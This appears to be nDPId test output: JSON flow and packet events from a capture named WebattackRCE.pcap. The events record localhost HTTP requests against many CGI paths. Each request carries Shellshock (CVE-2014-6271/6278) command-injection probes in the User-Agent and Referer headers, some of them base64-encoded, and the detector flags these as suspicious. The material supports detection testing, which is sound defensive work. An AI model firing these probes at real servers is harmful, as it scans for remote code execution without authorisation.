+00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":475,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":475,"flow_packet_id":1,"flow_first_seen":1576420277436,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50512,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":476,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":476,"flow_packet_id":1,"flow_first_seen":1576420277437,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50514,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":476,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":437279,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJlAhAAEAGp+R\/AAABfwAAAcVSH5AUHqzKqBdRL4AYAED+\/QAAAQEICp1m\/eWdZv3lR0VUIC9waHAuZmNnaSBIVFRQLzEuMQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":476,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":476,"flow_packet_id":1,"flow_first_seen":1576420277437,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50514,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/php.fcgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":477,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":477,"flow_packet_id":1,"flow_first_seen":1576420277438,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50516,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00722{"flow_id":477,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":438472,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJhwhAAEAGtOR\/AAABfwAAAcVUH5Cc4b\/Kjk5kuIAYAED+\/QAAAQEICp1m\/eadZv3mR0VUIC9wcmludGVudiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":477,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":477,"flow_packet_id":1,"flow_first_seen":1576420277438,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50516,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/printenv","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":478,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":478,"flow_packet_id":1,"flow_first_seen":1576420277439,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50518,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00737{"flow_id":478,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":439728,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"AAAAAAAAAAAAAAAACABFAAETyIlAAEAGc1l\/AAABfwAAAcVWH5DyzvBYc36tz4AYAED\/BwAAAQEICp1m\/eedZv3nR0VUIC9yZXN0b3JlX2NvbmZpZy5jZ2kgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpIb3N0OiAxMjcuMC4wLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQoNCg=="} +00796{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":478,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":478,"flow_packet_id":1,"flow_first_seen":1576420277439,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50518,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/restore_config.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":479,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":479,"flow_packet_id":1,"flow_first_seen":1576420277442,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50520,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00723{"flow_id":479,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":442090,"pkt_caplen":278,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":278,"pkt_l4_len":244,"pkt":"AAAAAAAAAAAAAAAACABFAAEICV1AAEAGMpF\/AAABfwAAAcVYH5Aa\/jGM\/2VZ0IAYAED+\/AAAAQEICp1m\/eqdZv3pR0VUIC9ydWJ5LnJiIEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":479,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":479,"flow_packet_id":1,"flow_first_seen":1576420277442,"flow_last_seen":0,"flow_tot_l4_data_len":244,"flow_min_l4_data_len":244,"flow_max_l4_data_len":244,"flow_avg_l4_data_len":244,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50520,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ruby.rb","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":480,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":480,"flow_packet_id":1,"flow_first_seen":1576420277443,"flow_last_seen":0,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":243,"flow_max_l4_data_len":243,"flow_avg_l4_data_len":243,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50522,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00720{"flow_id":480,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":443304,"pkt_caplen":277,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":277,"pkt_l4_len":243,"pkt":"AAAAAAAAAAAAAAAACABFAAEH1YJAAEAGZmx\/AAABfwAAAcVaH5CqXO1RjdaXCYAYAED++wAAAQEICp1m\/eudZv3rR0VUIC9zZWFyY2ggSFRUUC8xLjENClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQoNCg=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":480,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":480,"flow_packet_id":1,"flow_first_seen":1576420277443,"flow_last_seen":0,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":243,"flow_max_l4_data_len":243,"flow_avg_l4_data_len":243,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50522,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/search","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":481,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":481,"flow_packet_id":1,"flow_first_seen":1576420277444,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50524,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":481,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":444929,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAELsxNAAEAGiNd\/AAABfwAAAcVcH5B0n4vBZle5N4AYAED+\/wAAAQEICp1m\/eydZv3sR0VUIC9zZWFyY2guY2dpIEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":481,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":481,"flow_packet_id":1,"flow_first_seen":1576420277444,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50524,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/search.cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":482,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":482,"flow_packet_id":1,"flow_first_seen":1576420277446,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50526,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00725{"flow_id":482,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":446649,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAELQstAAEAG+R9\/AAABfwAAAcVeH5AckXoZTNNhQ4AYAED+\/wAAAQEICp1m\/e6dZv3uR0VUIC9zZXJ2ZXIucGhwIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KSG9zdDogMTI3LjAuMC4xDQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":482,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":482,"flow_packet_id":1,"flow_first_seen":1576420277446,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50526,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/server.php","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":483,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":483,"flow_packet_id":1,"flow_first_seen":1576420277448,"flow_last_seen":0,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":243,"flow_max_l4_data_len":243,"flow_avg_l4_data_len":243,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50528,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":483,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":448411,"pkt_caplen":277,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":277,"pkt_l4_len":243,"pkt":"AAAAAAAAAAAAAAAACABFAAEHr2pAAEAGjIR\/AAABfwAAAcVgH5ABL5e76\/gzuYAYAED++wAAAQEICp1m\/fCdZv3wR0VUIC9zdGF0dXMgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6ICgpIHsgOjsgfTsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3MTogdHJ1ZTtlY2hvO2VjaG87DQpSZWZlcmVyOiAoKSB7IF87IH0gPl9bJCgkKCkpXSB7IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzg6IHRydWU7IGVjaG87ZWNobzsgfQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":483,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":483,"flow_packet_id":1,"flow_first_seen":1576420277448,"flow_last_seen":0,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":243,"flow_max_l4_data_len":243,"flow_avg_l4_data_len":243,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50528,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/status","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":484,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":484,"flow_packet_id":1,"flow_first_seen":1576420277449,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50530,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00726{"flow_id":484,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":449923,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"AAAAAAAAAAAAAAAACABFAAELeuBAAEAGwQp\/AAABfwAAAcViH5Bf0UINj\/XlzYAYAED+\/wAAAQEICp1m\/fGdZv3xR0VUIC9zeXNpbmZvLnBsIEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":484,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":484,"flow_packet_id":1,"flow_first_seen":1576420277449,"flow_last_seen":0,"flow_tot_l4_data_len":247,"flow_min_l4_data_len":247,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":247,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50530,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/sysinfo.pl","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":485,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":485,"flow_packet_id":1,"flow_first_seen":1576420277451,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50532,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00717{"flow_id":485,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":451287,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"AAAAAAAAAAAAAAAACABFAAEFPsFAAEAG\/S9\/AAABfwAAAcVkH5CmDwZuBlGlyYAYAED++QAAAQEICp1m\/fOdZv3zR0VUIC90ZXN0IEhUVFAvMS4xDQpVc2VyLUFnZW50OiAoKSB7IDo7IH07IGVjaG8gOTNlNHIwLUNWRS0yMDE0LTYyNzE6IHRydWU7ZWNobztlY2hvOw0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KUmVmZXJlcjogKCkgeyBfOyB9ID5fWyQoJCgpKV0geyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02Mjc4OiB0cnVlOyBlY2hvO2VjaG87IH0NCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":485,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":485,"flow_packet_id":1,"flow_first_seen":1576420277451,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50532,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":486,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":486,"flow_packet_id":1,"flow_first_seen":1576420277452,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50534,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00721{"flow_id":486,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":452923,"pkt_caplen":279,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":279,"pkt_l4_len":245,"pkt":"AAAAAAAAAAAAAAAACABFAAEJ+UlAAEAGQqN\/AAABfwAAAcVmH5C1jMGV60p+W4AYAED+\/QAAAQEICp1m\/fSdZv30R0VUIC90ZXN0LWNnaSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogKCkgeyA6OyB9OyBlY2hvIDkzZTRyMC1DVkUtMjAxNC02MjcxOiB0cnVlO2VjaG87ZWNobzsNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClJlZmVyZXI6ICgpIHsgXzsgfSA+X1skKCQoKSldIHsgZWNobyA5M2U0cjAtQ1ZFLTIwMTQtNjI3ODogdHJ1ZTsgZWNobztlY2hvOyB9DQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00786{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":486,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":486,"flow_packet_id":1,"flow_first_seen":1576420277452,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50534,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","11":"HTTP Suspicious User-Agent","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/test-cgi","code":0,"content_type":"","user_agent":"() { :; }; echo 93e4r0-CVE-2014-6271: true;echo;echo;"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":487,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":487,"flow_packet_id":1,"flow_first_seen":1576420277454,"flow_last_seen":0,"flow_tot_l4_data_len":245,"flow_min_l4_data_len":245,"flow_max_l4_data_len":245,"flow_avg_l4_data_len":245,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50536,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 